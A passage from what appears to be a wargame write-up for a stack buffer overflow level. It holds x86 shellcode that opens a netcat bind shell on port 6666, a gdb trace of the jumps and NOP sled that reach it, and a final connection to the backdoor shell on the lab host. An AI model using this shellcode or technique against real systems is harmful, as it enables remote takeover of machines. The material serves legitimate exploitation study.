proto = ' HTTP/1.1'
nop = '\x90' * 30
shellcode  =  "\x31\xc0\x50\x68\x6e\x2f\x6e\x63"
shellcode +=  "\x68\x2f\x2f\x62\x69"
shellcode +=  "\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d"
shellcode +=  "\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68"
shellcode +=  "\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1"
shellcode +=  "\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31"
shellcode +=  "\xd2\xcd\x80"

payload = get + path + ret + rel_jmp + proto + nop + shellcode
print payload
A walkthrough is needed to explain all these jumps and nop sleds.
(gdb) break *fix_path+63
Breakpoint 1 at 0x8049854: file level01/level01.c, line 9.
We send the payload
kroosec@doj:~$ python payload01.py | ncat 192.168.25.2 20001 &
[1] 8699

And break just before fix_path() returns.
(gdb) x/i $eip
=> 0x8049854 <fix_path+63>: ret
(gdb) x/4wx $esp
0xbfc480fc: 0x08049f4f  0xbf0025eb  0x00000020  0x00000004
(gdb) si
Cannot access memory at address 0x12eb9094
(gdb) x/i $eip
=> 0x8049f4f:   jmp    *%esp
We return to our lovely "jmp esp" which will send us to resolved's rel_jmp.
(Remember that only get+path+ret+rel_jmp were copied into resolved.)
(gdb) si
0xbfc48100 in ?? ()
(gdb) x/i $eip
=> 0xbfc48100:  jmp    0xbfc48127
(gdb) x/10wx $eip
0xbfc48100: 0xbf0025eb  0x00000020  0x00000004  0x001761e4
0xbfc48110: 0x001761e4  0x000027d8  0x20544547  0x90909090
0xbfc48120: 0x90909090  0x90909090
We need this jump to skip some junk that is on the stack and buffer's get. We don't want to execute random stuff. ;)
(gdb) si
0xbfc48127 in ?? ()
(gdb) x/i $eip
=> 0xbfc48127:  nop
We are now in buffer's path (which is a long nop sled.) we will slide down to the relative jump (\xeb\x12) at the end of path.
(gdb) x/20i $eip + 120
   0xbfc4819f:  nop
   0xbfc481a0:  nop
   0xbfc481a1:  nop
   0xbfc481a2:  nop
   0xbfc481a3:  nop
   0xbfc481a4:  nop
   0xbfc481a5:  jmp    0xbfc481b9
   0xbfc481a7:  dec    %edi
   0xbfc481a8:  lahf  
   0xbfc481a9:  add    $0x8,%al
   0xbfc481ab:  jmp    0xbfc481d2
   0xbfc481ad:  add    %cl,0x54(%eax)
   0xbfc481b0:  push   %esp
   0xbfc481b1:  push   %eax
   0xbfc481b2:  das   
   0xbfc481b3:  xor    %ebp,(%esi)
   0xbfc481b5:  xor    %edx,-0x6f6f6f70(%eax)
   0xbfc481bb:  nop
   0xbfc481bc:  nop
   0xbfc481bd:  nop
This jump is needed to skip buffer's ret,rel_jmp and proto
(gdb) tb *0xbfc481a5
Temporary breakpoint 2 at 0xbfc481a5
(gdb) continue
Continuing.

Temporary breakpoint 2, 0xbfc481a5 in ?? ()
(gdb) si
0xbfc481b9 in ?? ()
This jump will send us to the nop sled preceding our shellcode.
(gdb) x/5i $eip + 25
   0xbfc481d2:  nop
   0xbfc481d3:  nop
   0xbfc481d4:  xor    %eax,%eax
   0xbfc481d6:  push   %eax
   0xbfc481d7:  push   $0x636e2f6e
We continue, and connect to our backdoor!
kroosec@doj:~$ ncat 192.168.25.2 6666
id

uid=20001 gid=20001 groups=20001
And that is it, phew!